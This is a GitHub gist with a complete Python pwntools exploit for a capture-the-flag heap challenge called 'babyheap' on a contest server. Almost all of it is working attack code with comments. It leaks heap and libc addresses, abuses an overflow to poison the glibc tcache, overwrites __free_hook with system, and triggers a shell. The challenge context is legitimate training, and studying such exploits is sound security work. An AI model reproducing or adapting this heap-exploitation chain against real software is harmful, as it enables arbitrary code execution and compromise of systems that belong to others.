Skip to content

Instantly share code, notes, and snippets.

@kriive

kriive/exp.py Secret

Created May 31, 2023 09:50
Show Gist options
  • Save kriive/4b03024f68e3e5e918146fddf40321de to your computer and use it in GitHub Desktop.
Save kriive/4b03024f68e3e5e918146fddf40321de to your computer and use it in GitHub Desktop.
Babyheap G exploit
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=challenges.open.ecsc.no' '--port=1121' babyheap_patched
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'babyheap_patched')
libc = exe.libc
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'challenges.open.ecsc.no'
port = int(args.PORT or 1121)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: b'.'
def malloc(size):
if isinstance(size, int):
size = str(size).encode()
io.sendlineafter(b"?", b"1")
io.sendlineafter(b"Size: ", size)
def edit(bucket, size, content):
if isinstance(bucket, int):
bucket = str(bucket).encode()
if isinstance(size, int):
size = str(size).encode()
io.sendlineafter(b"?", b"2")
io.sendlineafter(b"Bucket: ", bucket)
io.sendlineafter(b"Size: ", size)
io.sendafter(b"Content:", content)
def show(bucket):
if isinstance(bucket, int):
bucket = str(bucket).encode()
io.sendlineafter(b"?", b"3")
io.sendlineafter(b"Bucket: ", bucket)
return io.recvuntil(b"1: Allocate", drop=True)
def free(bucket):
if isinstance(bucket, int):
bucket = str(bucket).encode()
io.sendlineafter(b"?", b"4")
io.sendlineafter(b"Bucket: ", bucket)
io = start()
# Leak heap base and safe linking key.
# malloc, free and malloc again to leak fd,
# which xors the NULL ptr with the safe linking key,
# which is basically (&ptr >> 12) ^ ptr.
malloc(0x18)
free(0)
malloc(0x18)
heap_leak = show(0)
# Free chunk 0, as we don't need it anymore.
free(0)
fd_key = u64(heap_leak.ljust(8, b"\x00"))
heap_base = fd_key << 12
info(f"Heap base @ {hex(heap_base)}, fd key {hex(fd_key)}")
# Fill the 0x90 tcache, so the 8th will be
# free'd into unsortedbin.
# Allocate 9 chunks, so one will serve as
# top chunk consolidation barrier.
for _ in range(9):
malloc(0x88)
for i in range(7):
free(i)
# This will be put into unsortedbin, since the
# 0x90 tcachebin is full.
free(7)
# This will be remaindered from the unsortedbin.
# But first this will be sorted in the 0x90 smallbin.
malloc(0x68)
# Free the previous consolidation barrier, since
# it isn't needed anymore.
free(8)
libc.address = u64(show(0).ljust(8, b"\x00")) - 0x1e0c80
# Free the 0 index, to have a clean slate.
free(0)
info(f"Libc base @ {hex(libc.address)}")
# Now, use the overflow to overwrite a tcachebin
# fd to perform a tcachebin poisoning attack and
# target the __free_hook symbol.
malloc(0x28)
malloc(0x28)
malloc(0x28)
free(2)
free(1)
# Forge fd to point to the __free_hook.
edit(0, -1, b"A"*0x28 + p64(0x31) + \
p64(libc.sym.__free_hook ^ fd_key))
# Useless alloc on bucket 1.
malloc(0x28)
# This points to __free_hook on bucket 2.
malloc(0x28)
edit(2, -1, p64(libc.sym.system))
# 0 sized allocation to trick the memset
# before free. This alloc lands in bucket 3.
malloc(0)
edit(3, -1, b"/bin/sh\x00")
# Shell
free(3)
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment